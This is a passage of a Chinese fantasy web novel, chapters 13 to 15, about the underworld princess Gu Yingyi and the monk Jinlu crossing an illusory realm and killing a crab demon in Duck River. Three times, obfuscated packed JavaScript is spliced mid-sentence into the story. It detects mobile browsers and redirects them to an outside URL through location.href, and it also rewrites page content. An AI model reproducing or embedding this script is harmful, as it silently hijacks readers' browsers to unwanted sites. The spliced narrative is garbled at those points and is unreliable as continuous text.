良久,他淡然道:“不愧是从青霄宫里出来的人,果然是有些许本事在身上的。不过,本王还是劝诫你早些革新旧习,躲得了初一躲不过十五,天庭早晚会派人来查的。退一万步说,你既当了一国之君,就该好好治理你的国家。” “臣明白了,大殿弃我已久,臣早已心灰意冷,若将来八殿下能替小臣在天帝那里美言几句,小臣必将不胜感激。” 此时,门外的侍卫扔来报,说金漉要见八殿下。 张择晓走过去将他迎到书案右首的圈椅上落座。 “多谢殿下。” “高僧,可好些了?” “小僧喝了些粥,体力和法力已经有所恢复了,多谢殿下百忙之身,能下凡来搭救小僧与盈一。” 听到谷盈一的名字,张择晓悻悻地放开金漉的衣袖。他只道:“这本是我天界的职责,算不上什么搭救。” “殿下,如何不是?小僧自幼随跟随师父修行,耳力异于常人,虽不及远远不如谛听的神通,但百里之内的细微声响都能听得清清楚楚的。方才殿下与国王的对话,小僧都听到了,无心之过,多有冒犯了。” “……无妨。”张择晓竟然出人意料的叹了一口气。 “怎么了殿下?小僧冒昧一问,今天是否为盈一而来?” 张择晓清冷的面庞无恙,眼神里还是闪过了一丝诧异,接着他匆忙解释:“高僧你何出此言啊?这白堕国每年都会将文书送到小王这里审核,小王来问罪于他,本属小王的分内之事,怎么能说为了宫主而来?若是被她听到,不知道该怎么生气呢。” “可是殿下,今天这道旨意,却是从东宫发出来的,小僧可是听说,因为天庭公主被剔除仙骨一事,殿下与大殿已经多年不来往了。能冒如此风险得罪大殿,想必殿下有非来不可的理由吧,殿下如此清离正直,风光霁月的人,不会参与到风波里。所以殿下还不肯承认是为了盈一而来吗?” 张择晓听得耳朵发烫,不得已道: “金漉师兄真是慧眼机辨。不过,还请你务必保密,别让宫主知道,她……她向来不喜我,待我冷淡,对我有偏见……不过眼下小王公务在身,得回去打理诏书的事情,只能先行告辞了。”说罢,驾云而去。 不一会儿,谷盈一找来了,问张择晓去哪里了。 金漉道:“盈一,人家一身官服,也得回天庭换身衣服,再与你说话,解闷儿不是吗?” “你在说什么,关我什么事啊?我只是随口一问,谁要搭理他?”谷盈一扬长而去。 13. 神墟幻境 路上。 天上慢慢地浮现出淡淡金色的曦光,几只麻雀立在新绿的枝桠上你一嘴我一嘴的,聒噪不休,叫得毫无章法,大清早的似乎是在争吵,全是晦气、怨气、浊气。 谷盈一听着这杂乱的鸟鸣声,她的心中更加烦闷了。她朝枝头怒骂了几句:“它爹的,这畜生也学起人类的口角之争了,这天地间有那么多的灵气不去修炼,搁这里吵什么吵?真是不中用的东西。”说罢,在地上捡起树枝,朝麻雀扔去,那些麻雀受惊一哄而散。 此番来到白堕国,谷盈一不仅一无所获,还大大折损了脸面,她只觉这里晦气,克她,一刻也不愿意多留,当然,除了吃喝玩耍、闲逛这件事她是喜欢的。暂住两日后,等金漉的身体恢复得差不多了,就即刻启程了。好在他们离开之前,国王甘雎也真真切切地做了实事,被迫劳役的人们解开锁链,放归回家,与妇女们欢欢喜喜地过起了琴瑟和鸣的“好日子”。 白堕国还在酿酒,只是政令不似之前那般高压了。 谷盈一的包袱尚挂在金漉的后背上,她从里面取出来地图,与金漉一起看,“下一个地方,怎么没有名字?好像是空荡荡的?金漉你看,是不是这样?” 金漉也看出了不对劲,但是他也不好说什么,大帝给出的舆图充其量只能算个草图,他们地府是没有人界详备的地图的,黑白无常去勾魂也是依靠城隍庙的官吏的报告,和日夜游神的巡查。有时,散落人间的魂魄会四处游荡,但不回地府,最后都会魂飞魄散的,所以亡魂们自己也会去打听地府的去处。 金漉说道:“没事,盈一,你看,过了这个地方,再往前就是岷江了。盈一你看,是不是这里散发着一丝青光?” 谷盈一闻言,瞬间打起了精神,她简直不敢相信自己的眼睛,于是揉了又揉,她惊喜地说道:“真的耶,但真的很奇怪,之前哥哥的尸狗出现时,特别明亮,现在怎么那么暗呢?不过好在,总算是有眉目了,在白堕国实在是逗留太久了。好了金漉,我们快点出发吧。”谷盈一将地图卷起了,系好,放在包袱里,就出发了。 前路尚远,还未抵达岷江时,忽而,本就是爬满阴云的天变得更暗了,四周滚腾起浓厚的雾气,笼罩四周,什么也看不清,金漉给他的九环锡杖施加了灵力,照出银闪闪的光来。 谷盈一变幻出一叠黄符纸,又从掌心催起了一团地火,捻了个诀道:“飞燕飞燕,去!”那叠黄符纸瞬间凌风而起,幻化成无数只剪尾的燕子,散发着幽幽的紫光,在前面开路。 这时,两人忽见一口谷井,围立在井旁的人很多,他们皆是面黄肌瘦,骨瘦如柴,佝偻着身子活像是僵尸,他们也不说话,单单是围着那口井,往里面投钱财、布帛。谷盈一瞧着古怪,心里也好奇,便走了过去,问道:“你们这是在干什么?” 没有人回答她。 “这好像不是人,也不是鬼,难道是幻影?”谷盈一自言自语道,于是她拿出阴阳镜一照,什么也没有,果真是幻影。 “盈一,我曾听说,地府有个纳阴司,如果往里面焚纸投钱,可以让人免遭瘟疫。” “不可能,我府的纳阴司是专门收生人为亡魂烧的冥币,好让他们在下面过得没那么困苦。怎么可能这样堂而皇之地收人间的钱?你定是听信了奸臣贼子的谣言!” 谷盈一扯过一个人的裤腰带,又变幻出地火,将那些“人”一把火烧了个干净,她对金漉说道:“你用绳子拉着点我,我下去看看。这一定是什么冒牌的纳阴司。” 说罢,谷盈一攥紧着绳子,顺着井壁缓缓往井下去了,约下了有五六丈深,黑暗无比,伸手不见五指,没有一丝光亮,彻底被黑暗吞噬。于是谷盈一只攀着绳子上去了,她对金漉道:“井里面什么也没有,我们走吧。” 往前走,有一个巨大的青铜神坛陡然立在那里,绿锈覆身,高不可攀。底部镂空,有十三个铜人列在上面。中层有神兽,上层有大巫托着山,神龛中有鸟振翅高飞,直指苍穹,似在接引天神降临。周遭有香雾弥漫,有不少人在跳舞祭祀。 谷盈一走了过去,又是一把地火烧得干净,她道:“又是幻影。” 再往前走,他们在前边的路上,看到了一只窝在草窝的小狗,通体土黄色,叫着“嘤嘤嘤”的,四肢蜷曲在一起,无辜的眼神怯生生地张望着,看样子还是一只不满一周岁的幼犬。 谷盈一走过去,问道:“这是谁家的小狗?”说罢,把它抱在怀里,让金漉给它倒了点水,放在掌心里,那小狗舔了又舔,将水喝得干净。谷盈一轻轻地揉了揉它的脑袋,又捋了捋它的身上的毛发,道:“你可真可爱呀,唉,这让我想到了我的葫芦,它小时候,像你这么大点的时候,也特别可爱,不知道它什么时候才能长大,天要是天陪在我身边就好了,葫芦啊,你现在在家里过得还好吗?” 小狗“嘤嘤”地在她怀里蹭自己的脑袋。谷盈一又问道:“小狗儿,你的主人去哪里了?” 谷盈一刚问完,迷雾散去,四周变得更加黑暗无比了,这时,一道道刺眼的强光从天而降。天上渐渐浮现出了一个硕大的太阳,仿佛举手就能触摸,周遭散发着华贵无比的金色光芒,呈细长的獠牙状,而且围绕着太阳向一个方向旋转,接着羲和越升越高,倏而四只金色的神鸟围着太阳振翅翱翔,不时地发出激昂高亮的叫声。 正当谷盈一和金漉疑惑时,小狗在谷盈一的怀里“汪汪”乱叫,仿佛像是中了什么邪,之后它挣扎着,要跳出去,谷盈一焦急地拍拍它的脑袋,安抚道:“小狗儿,别怕,我保护你。” 接着小狗的身子渐渐消失,变成一颗乳牙,掉落在地上,谷盈一非常好奇又痛心,问道:“这是什么情况?”于是把狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615862|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙捡了起来,把它放在斜挎着的黑白豹纹袋里。 在舆图上,他们显然还没有走到发着青光的地方,所以,他们只能继续向前走。 接着,不远处,金光稍弱些,高峨的宫殿横亘大地,四处是金光闪闪的殿宇。进入宫殿后,一片金光闪闪,让人惊喜地目不转丁,两列有身披白羽、彩衣的宫人,他们每个人都戴着金灿灿的面具,那如蝉般突出的大眼睛,张扬的大耳朵,手持金棒在敲响镌刻太阳纹的铜铃,奏响出古老,神秘又悦耳的乐曲。 大殿的中央矗立着一株通天的神树,树高而蜿蜒似龙,直冲殿顶,九条枝上,都栖息着一只隽永清逸的神鸟,风姿绰然。 谷盈一喜悦至极,她素来是爱华贵瑰丽的东西的,于是她跑过去,坐上神椅,忽的,玉璋玉璧玉环玉珠等纷纷掉落,地动山摇,整个殿宇轰然倒塌。 金漉叫喊道:“盈一小心!” 崩塌之势猝不及防,他们两个根本来不及躲,这殿宇塌的哗啦啦的,地面上裂开了一个长约几十丈的口子,宛如饕餮张开的血盆大口,将所有的宫人、金器、金车金马、玉璋、玉器连同谷盈一、金漉都一道掩埋在地下,彻底吞噬。 谷盈一倒是没有被建筑砸到脑袋什么的,反而是不知道哪里来的那么多的土,塞满了她的耳朵、鼻子、嘴巴里,她觉得自己马上要窒息了。谷盈一拼命地扒拉着泥土,手指头都裹满了脏兮兮的泥,她无法接受,可此时一点灵力也无法运转,而感觉到越陷越深,好像是一个无水的沼泽地,她越动弹,就会被泥土包裹得越紧,她绷紧双腿,眼神涣散。 谷盈一倍感绝望,她甚至开始祈求父亲可以听到她的心声,带着地府的一众阴兵阴将们从天而降,帅气登场,前来搭救她一二。 不对,她谷盈一就是从地底下来的,现在就是被埋在地底下了,难道是尘归尘,土归土吗?才不要! 忽的,从地面上开始渗水,一点一点的清水从头顶上滴落下来,谷盈一觉得身上的衣服已经被泥水浸透了,她开始松动身子,双手像是小狗的前肢,开始往上刨土。 谷盈一越挖越起劲儿,泥土抹了一脸,只露出两个圆溜溜的大眼睛和一口笑着的大白牙,谷盈一的努力还没有发挥作用呢,只觉得地面上有什么异动。 果真,是身着凤冠霞帔的后土娘娘手持稻穗,播撒种子,松动土壤。之后天上的风伯拿着一个装满风的大布袋,在天上施法,一阵又一阵的风吹开了千万年的土壤。接着又下起来了大雨,早已爬出来的谷盈一和金漉畅畅快快地淋了一场雨。 那金碧辉煌的宫殿早已消失不见,只露出青铜色的一角,谷盈一好像从深埋宫殿的土里看到了什么,她走过去蹲在地上,用手挖呀挖,挖出了一把锋利的青铜剑,她开心极了,耍了几个剑花,喜悦道:“还挺趁手的,你就暂时当我的兵器吧。” 14. 鸭子河 自打谷盈一和金漉离开了神墟幻境后,他们又继续赶路。谷盈一觉得自己好像做了一场大梦,看似一切都是假的,却又好像是经历过的实实在在的事情。她也有点丈二和尚——摸不着头脑,有些头晕,心口还隐隐作痛,只得暂时不去想了。 谷盈一此时已经饥肠辘辘,浑身发软,远远地落在了金漉的后面。 金漉停了下来,问她怎么了。谷盈一垂头丧气道:“我也不知道怎么了,感觉浑身乏力,难道是被那什么幻境给诅咒了吗?”金漉拉她过去树荫下,让她坐在蒲团上,之后又用手摸了摸她的额头,“还好,还好,没有发烧。” 金漉取下包袱,蹲在地上,找了半天也没有找到吃的,自从离开白堕国,走了大概有四五百里的路,一路上,谷盈一都在吃了又吃,那些她在椒国买的枣泥卷、豌豆黄、瓜子仁、果脯、桂花蜜饯都吃光了,连金漉存的干粮也告罄了。金漉拿出水壶,把剩下的水让谷盈一喝掉,希望她的精神稍微好点。 “盈一,你先在这等着,我去前面探探路。” 说罢,金漉手持锡杖,正要往前走。 谷盈一却说,“不用了,你过去了还得回来,只为让我多休息会,丢我一个人在这里,真是无情的和尚。反正也快到了,你也来看一下吧,哥哥的青光越来越亮了。”她拿出地图,指给金漉看。 金漉上前一敲,果真不假,此前还淡薄的光,这会变得明耀夺目,点点流光还在闪烁着。 “盈一,你没事吧?你到底怎么了?” 谷盈一摇了摇头,说道:“我也不知道,从那个幻境里出来后,我感觉我的心被一种巨大的虚无包裹着,还隐隐约约有些难受。可能是被埋得太久了,不透气,心脏有点不舒服,没事,现在好多了,走吧,本主可不是什么矫情的人。” 说罢,谷盈一猛地掀衣起身,宛如一尾打挺的鱼,自顾自地走了,金漉火速拾掇妥当后也跟上了她。 不多时,他们就见到了一个小村庄。那小村庄的茅屋低矮,家家户户门口围有篱笆,阡陌小路上有小狗在撒欢儿或有三花猫、橘猫、白猫轻嗅野花。金漉他们走到临近的一户人家,敲了门,出来的是一个发鬓花白、身穿葛衣围裙的老妇人。 “施主,小僧打扰了,不知能否讨碗水喝。” 那老妇人是个质朴,心肠善的人,她见是出家人前来化缘,尽管身后跟的那个年轻女子神色睥睨,一袭覃紫华服,玳瑁色的纹饰精美,身背青铜剑又有几分倔强气,也顾不顾得这僧人是否品行不端正了,倒也是乐得为自己积福了,就说:“家里水缸有的是水,小师父请进来一坐吧。” 两碗水被端过来,这水是昨日在村头的井里打的,盖着盖子储存了一夜,还有些清凉,谷盈一却拿起来掂量了半天道:“喂老婆婆,你家的碗也太破了吧,这都有裂纹了,碗底还有些深褐色,能不能拿出个好碗来招待客人?喏,本姑娘有的是银子。”说罢,将一锭银子砸在桌子上。 “施主请别放在心上,小妹向来心直口快,能喝到水,小僧已经感激不尽。只是眼下才是中午,我们还得赶路,不敢久留,不知道施主可否允许我们把水壶装满?” “我一个老婆子家的,也不会去生一个小姑娘的气。小师父,请把水壶给老身吧,我去装水。” “不敢劳烦施主了。” 说罢,金漉取下谷盈一腰间挂的水壶,随着那老妇人来到厨房,从那又大又深的陶缸里舀了一瓢水,灌进水壶里。又说道:“不知道施主家里是否还有干粮?小僧这里有颗穿红绳的朱砂,不知道能否去换一些干粮?” “小师父,最近夜里老身时常睡不好觉,正需要戴点朱砂呢,正好,老身要烙些饼吃,已经和好面了,小师父与小娘子可否等一等再走。” 金漉同意了,可是谷盈一却不同意。 她说道:“我可待不下去了啊,这老婆子家里的筷子都要发霉了,一股腐烂的木头味,想来做出来的饼也不干净,要等你自己等吧。” 谷盈一拎起水壶,就要出门去,刚走到院子里,只见有个面庞黑黢黢,卷着裤脚,满身泥水的男人匆匆忙忙地撞进院子里,谷盈一厌弃地躲到一旁。 他哭着向那老妇人说:“不好了,大娘,大爷他掉到河里,被妖怪吃了,连骨头都吃下去了。” 那老妇人闻言,一下子昏了过去。 谷盈一一听到有妖怪出现,觉得大喜,她再也不用像在白堕国那样憋屈了,她要好好地揍这个妖怪一顿,以发泄自己心中积蓄已久的怒气。她即刻抓住那男子的衣领问道:“快点告诉我,那妖怪在哪里?” “在东边的鸭子河。”那男子哭着踉跄倒地不起。 谷盈一立刻眼睛变得亮晶晶的,跑了出去。 金漉将那老妇人送到屋子里的木床上,让她躺着休息,输送了些灵力,稳住她的气脉,又给了那个男子几个铜钱,嘱咐他去抓点药,之后就出去追谷盈一了。 谷盈一拿出纸符,说道:“飞燕飞燕,去!”一只黄色的小燕子,领着她开路,很快她就来到了村子东边的鸭子河。 那河面倒是宽阔得很,长长的河流一路向南流去。 因为村子里有老人去世了,很多村民都纷纷赶来,将自家的小船、竹筏子都用上,撑起竹篙,划着水,一齐的去找老人的尸骨。 谷盈一扒开人群,拉住一个汉子问道:“之前村子里有发生过怪事吗?” 那汉子答:“从来没有听说过啊。” “那你们是怎么知道是妖怪把那老头子给吃掉了。” 那汉子就把他见到的事和谷盈一都讲了一遍。 那会子,太阳顶在头上,村民们照例在河面上捕捞蛤蜊等水产,热得他们热汗淋漓的,正打算要回去呢,突然穿来老大爷欣喜的笑声。原来他竟挖出来不少,一上午,所有的人捕捞的加起来都比不上他,正当众人都为他欣喜鼓掌时,突然,他的船下水泊翻涌,接着一个漩涡把那大爷的船卷翻,从河里钻出来一个青苔色的大头,约有五尺长,栗子色的眼睛足有一个水桶大,往外突着,还没有露出半个身子,就张开大口把那大爷吞了,之后就沉到河底去了。把村民都吓得跌倒在船上,缓过神来,就大声呼叫着,寻找着,哭泣着。 谷盈一听完,就“扑通”一声跳进去河里,她是个不怕水的,但也不适合在水下逗留太久,为了维持灵力不受到侵损,她就从衣带里扯出几个黄符纸,已经裁成了小人模样,让其悬游在自己身边,以阻水的冲力。 这河底不算太深,有连片连片的水草缠绕,还有一些贝壳,海螺,小鱼小虾生活在其间。谷盈一拿出青铜剑将它们砍开,接着,她发现了一个水底下的洞,被海藻挡着,像是个泥坑,约有那老婆子家的锅口那么大。她正要拿剑刺入,突然,一团黑色的雾从里面逃脱出来。 谷盈一觉得妖气甚重,拿出阴阳镜一照,那妖怪就现出了原形,竟然是个通体青色的螃蟹,谷盈一二话不说,就拿青铜剑砍了上去,它举着两只大钳子与谷盈一打斗起来,谷盈一的功夫还不错,她灵活的身姿跳了上去,左打右打, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615863|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将那螃蟹砍掉一只钳子,霎时间染红了一片河水,那螃蟹痛得扭动身子。正当谷盈一自鸣得意时,那螃蟹扭转身子,用另一只钳子狠狠夹了谷盈一的胳膊,谷盈一瞬时感觉到痛极了,这时,她的小人们也浸泡水里太久,都掉到了河底,黏在泥沙上。 谷盈一在水里的灵力逐渐疲软,她决定先上岸包扎一下,回来再把这只螃蟹给杀死。 等她回去时,金漉正在岸边等她,原来金漉并未习得御水之术,他看到谷盈一受伤了,连忙撸起谷盈一的袖子帮她查看伤势。 谷盈一却说,“没事,只是被夹了一下,涂点药就好了。”金漉连忙从旁边的抓了一把马齿苋,催动灵力,在手里已经被捣成糊涂状,涂在了她被夹的地方。 这时,突然阴风阵阵,黑白无常来了。他们看到金漉正在给宫主敷药,不由得大吃一惊,连忙作揖道:“宫主,您没事吧?这是怎么一回事?您需要小臣们做些什么吗?” 面对黑白无常的关心,谷盈一并不在乎,反而是气不打一处来,她一想到上次他俩亵公渎职的样子,就生气: “关你们什么事啊?对了,这老头子已经死了多时了,你们怎么才来?又跑去哪里不务正业了?” 白无常吐了吐舌头,语气似乎有些幽怨:“宫主您知道我们一天要勾多少人吗?累都快累死了,在我们地府里,还有比我俩更累的差事吗?反正那老头的魂魄自己四处转转,就会回我们地府的,大不了等着让日夜游神上报,派几个阴兵送回去得了。” “你们两个气死我了!”谷盈一甩开金漉涂药的手,拿起剑就打黑白无常,“上回去勾张苪儿子时,你们就懒洋洋的,早知道本主就亲自拿他到地府来了,你们两个,要是再让本主发现你们不好好干活,等着被扔进十八层地狱吧。” 黑白无常被打得直求饶:“宫主饶命啊,这次来得晚,是令芾大人留下我们,让我们来给您捎话的,所以才耽搁了。” “什么?令芾说了什么?快些告诉我!”谷盈一收剑。 “令芾大人让我们告诉宫主,一定要照顾好自己,不要冲动,不要轻敌。” “哦。”谷盈一明显不开心了,她又问道:“葫芦怎么样?” “宫主的灵兽还是和从前那样,在地府里跑来跑去的。” 谷盈一听到后,心里暗自发誓,葫芦,一定要等着我。 这时,白无常察觉到了周遭有魂魄的气息,他一手晃动引魂铃,清越肃穆的铃声悠悠荡漾开来,另一只手挥舞招魂幡,身姿上下翻动,将那四散游离的三魂七魄吸聚过来。不消片刻,那三魂七魄化成了老者生前的模样。 黑无常正要拿锁魂链把他锁起来,好带回地府。 那老头子满脸泪痕,求道:“神仙,小老儿我死得蹊跷,怕是被那妖怪所害,请仙长为我鸣冤啊。如今家里只剩下一个孤苦伶仃的老妻了,还没来得及见她一面,求神仙们开开恩,请让我返回家里,容我再与她说说话吧。” 黑白无常相互看了看,随即一同望向宫主。 谷盈一说:“人死生皆有定数,这是没有办法的事。你且跟黑白无常两位大人回地府吧,将来你该去哪儿,阴司自有公断,会一一清算你平生的善恶功过。快走吧,别在这耽误事了。”说完,向黑白无常使了个眼色,二鬼差会意,上前拘拿那魂体,并带走了。 谷盈一突然叫住黑白无常:“对了,你们回到地府,记得替像父亲,还有令芾问候,还有告诉葫芦,我很想它。” “属下遵命,宫主。” 15. 蟹与蛤 金漉要回到那个老妇人的家,帮她超度亡夫的灵魂。谷盈一,起初并不答应,但她饥肠辘辘,包袱还在那老妇人家里,还是跟着金漉去了。 那老妇人没有丈夫的尸骨,她就把丈夫生前穿过的衣服,葬在了一口薄棺材里,摆放灵位,供奉上花果蔬粮。此时老妇人一身丧服,号啕大哭,金漉走过去劝诫了几句,说若她的丈夫生前做了好事,为自己积下不少福,下辈子还能转生为人的,死亡并不是终点,劝老妇人节哀顺变,接着为她的亡夫诵经起来。 谷盈一已经数不清把多少恶魂送到拔舌地狱了,剪刀地狱,刀山,冰山,石磨,油锅了,她早就麻木了,谁犯了罪,在地狱,没什么好下场。不过,她看到那老妇人,哭得喘不上气来,双眼红肿得似核桃,心里还是有些悲戚。谷盈一的人生几乎都是在地府度过的,见到的都是亡魂,她从来没有见过,也没有想过,失去亲人的人,该如何活下去。这让她想到了哥哥,那会她也是这般伤心,但是好在她有金袋,她还有希望。 夜晚,谷盈一睡不着,又是在农户家过夜!她非常愈发怀念之前锦衣玉食的生活了,之前床榻铺的是天鹅羽毛堆织的浮光锦,椅子上搭的是灵兽的皮毛,现在呢,竟然是干稻草,尽管那个老妇人把它晒得又干燥又软和,还有阳光的味道,但谷盈一还是觉得扎人,背上痒痒的,睡不着。 良久,连窗子外小虫的叫声都格外刺耳,而她一闭上眼就是那个老妇人满脸泪痕的样子,她起身,点上豆油灯,拿出来金袋照看,自言自语道: 哥哥,你被黑桐岭的妖怪暗算时,你疼不疼? 哥哥你放心,我一定会找到你的三魂七魄,到时候,你还做我的哥哥,我还做你的妹妹。 于是,她偷偷溜了出去,想要再次与那螃蟹交手,这次一定要把它一网打尽。她再次潜入河底,发现有个不知道是什么东西的东西,头戴藤条编的草帽,赤发兽耳,身穿虎皮褙子,脚踏一鹿皮靴,正手持标枪与那螃蟹怪过招呢,那蟹怪似乎比昨日更加凶猛了,双螯钳着一枝枝稻穗,与之抽打起来。 谷盈一见之大怒,呵斥道:“哪里来的小妖怪,竟然敢与本宫主抢猎物!找打!”说罢就耍起青铜剑花,与那人厮杀起来,打了约两三个回合。 在混乱的打斗中,那螃蟹怪缩头缩脑的,妄图借机脱身,悄悄溜走呢。这时,从河面劈开一道光来,一位影子从天而降,说道:“请宫主罢手!” 说罢,用他的一柄月牙铲将那个与谷盈一打斗的人挥倒在地上。 谷盈一问道:“你是谁?不要多管闲事好吗?” 那人作揖答道:“小神的大哥是二郎显圣真君,我乃梅山六兄弟之一。这位是草头神,是小神的手下,多有得罪,还请宫主见谅。”说罢,将他的一柄月牙铲一抛,楞挺挺地插在那个螃蟹怪的身旁。 谷盈一见他要抢自己的猎物,忙过去将那螃蟹怪一剑劈死,“本主才不管你是什么兄弟呢,这个妖怪是我拿下的,我知道,你要抢过去,记在你的功劳上,好向天庭邀功请赏是不是?” 梅山兄弟笑了,说道:“宫主放心,我等岂会计较区区一个小妖?不然留在我大哥麾下,岂不是混日子,虚度光阴的?只是见这草头神迁延过久,这才过来提点一二。既然宫主要这个妖怪,小神不敢与宫主抢夺。” 此时,一阵黑烟弥漫,一个手持三叉戟,鱼头人身的阴吏现身,它用渔网将那螃蟹怪的魂魄收住,道:“小臣鱼鳃拜见宫主,此妖已束缚,不知宫主是否还有其他的吩咐?” 谷盈一本来想让他给父亲还有令芾带个话,向他们问好,可方才已经托人问好了,就道:“没有其他事了,你先回府交差吧。等等,这个螃蟹怪我们地府就不与他们抢功了,就记他们头上吧。” “是。”鱼鳃化作一阵烟消失了。 梅山六兄弟道:“宫主,那小神也告辞了。”说罢带着他的手下草头神走了。 谷盈一踢了踢那死去的螃蟹怪,暗道,这可是修炼多年的妖怪,吃了它必得有益处。于是,她向那螃蟹输了些灵力,让它暂时维系生命,之后,她找个了绳子,打算将它五花大绑,带回去煮了吃。 这时,谷盈一发现,螃蟹的身后有一条若隐若现的粗红线,她一剑斩断,又将那红线扯了过来,没想到扯过来一个巨大的圆蛤,里面有一个苹果般大的珍珠,还是颗紫珠,谷盈一欣喜若狂,这下子可算是捡到宝了,她将珍珠装进她斜挎的黑白豹纹包里,又将那螃蟹用麻绳捆好。 这时,正当她离开时,从远处爬过来密密麻麻的小螃蟹,每个小螃蟹的身后系着一条红线,连着一个个花蛤或蛤蜊或三角帆蚌。螃蟹与蛤蜊们张着嘴,开着蚌壳,皆在地上滚动着,一齐向她冲来,谷盈一觉得不妙,火速拿出一叠叠黄符纸,“飞燕,飞燕,去。”符纸化作只只飞燕,那飞燕一半去攻击螃蟹与蛤蜊,另一半驾起一朵云,将她托了上去。 “这河里倒是有灵气,这些螃蟹与蛤蜊都要成精了,如果我吃了这个螃蟹怪,岂不是灵力大涨?”一想到这里,谷盈一忍不住窃笑。 待她回去时,天已蒙蒙亮,那老妇人还守在灵堂,金漉还在为他念经超度。 谷盈一毕竟有求于人,她说道:“老婆婆,别哭了,人死不能复生,说不定你老头子这会已经过了奈何桥了,喝了孟婆汤了,他与人间的事再也没关系了,你不如与他多少烧点纸钱,好叫他早入六道轮回。” 谷盈一也是哄她,如果她老头子平生作恶多端,除了第十殿阎罗那,分到其他的阎王那里,免不得受罪呢。不过她现在饿极了,希望老妇人可以去给她煮螃蟹,见老妇人没有搭理她,她也不好对一个丧失亲人的老人发怒,于是,她叫金漉:“师兄,我现在非常饿,你去给我把这只大螃蟹煮了吧。” 老妇人说道:“姑娘,让老身去吧,怎么好劳烦高僧呢?” 说罢,她抹了抹眼泪,拎着螃蟹去了厨屋。谷盈一跟了过去,那老妇人将一口大锅用丝瓜络刷得干净,又往里一瓢一瓢灌水,将螃蟹洗刷干净,还有几个地瓜土豆放在竹篦笼上,一道蒸了。 “要不要烧火?”谷盈一只是一问,她已经自顾自拿出一个纸符,用地火点燃,向灶膛里的柴火扔去,这倒是把老妇人吓得一惊。 “别怕,我只是个修炼的道人。”谷盈一随便找了个理由。 不多时,螃蟹已经煮好了。谷盈一吃了之后果真觉得灵力大涨,她开心极了,美美睡了一觉。第二天,等她醒来时,她发现,自己的胳膊又红又肿的,比昨日更甚。 该死!这螃蟹不愧是修炼出来的精怪,竟然这么毒。 金漉又给她涂了些马芷苋,劝她暂住两天,等伤好了再启程也不迟,谷盈一看了看地图,发现那青光仍在旁边亮着呢。 在破落的小院子中,两人正围着一个小桌子喝粥,那老婆婆还在守灵,此时,门外有人在敲门。 “谁啊?”谷盈一好奇心,于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615864|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她去开了门。 一打开门,谷盈一立刻从笑靥如花变得耷拉下脸来,她斜倚在门框边,讥讽道:“嚯,竟然是天庭来的上仙,不知道屈身降临我这寒舍,是何意啊?” “小王问宫主好。请问金漉师兄在否?”说罢,张择晓故意不给她眼神,径直向里走去。 “你……你这家伙,竟然敢无视本主。” “不知殿下驾临,小僧有失远迎。” “金师兄,不知近来身体可还安健?上次在白堕国王那里服下的灵芝丸,小王那里还有许多,故来赠与金师兄一瓶,以备着,多一份安心。” “如此,多谢殿下了。” “宫主,能否借一步说话?”张择晓转身对谷盈一说道。 “干嘛?有什么事不能在这里光明正大地说吗?”谷盈一一脸孤傲。 “盈一,你不可对上仙这么无礼,即使在我们地府,也不可以,快收了你的娇惯性子吧。殿下找你必然是有要紧事要说的,快去吧。”金漉劝诫她。 “行啦行啦,烦死了,唠唠叨叨的一天到晚,”谷盈一就扭头随他去了内屋。 谷盈一坐在凳子上,将取出腰间的水壶,喝了一口水,问道:“说吧,什么事?” “宫主,请允许小王看看您的伤势。”说罢,他向谷盈一走近,谷盈一坐的是一个长凳,她见张择晓靠近,就匆忙地向凳子的一边挪过去,张择晓微微弯身,扶住凳子的另一边。 “你……你要干嘛?都是一些小伤,关你什么事啊?”谷盈一有点慌张。 “宫主,小王这里有些药,让我来为您涂上吧。”张择晓坐在她身边。 “不用!当然,要是有用的话,你先留下,本主等会再用。” 张择晓道:“宫主,这是小王特意从天医真君那里要来的。请别辜负小王的一番诚意。” “什么?我不用反而还辜负你的一片心了?你这是什么强盗逻辑?我就不用。” 张择晓道:“宫主真是神勇无敌,小王听说是宫主擒获了那蟹怪,那蟹怪可是生长在鸭子河里有几百年了,修为不浅,听说宫主单枪匹马,只拿一把青铜剑,就把它给驯服了,小王听说后,心里真是无比佩服。” “嗨呀,这算什么?本主厉害的地方可多了去了,区区小怪,不在话下。”谷盈一表面装作云淡风轻,实则心里已经乐开了花。 “那宫主……这伤……” “本主闯荡江湖,难免有点小磕小碰的,没事的。”谷盈一略微有些尴尬。 “宫主,小王拿来的这药可好用了,你若是早些好了,能快些去擒获更邪恶的妖兽,岂不是乐事一桩,宫主不妨试试吧。” “有道理!快些给我吧。”谷盈一争着去抢。 “让我来给你涂吧,宫主。”张择晓并没有给她。 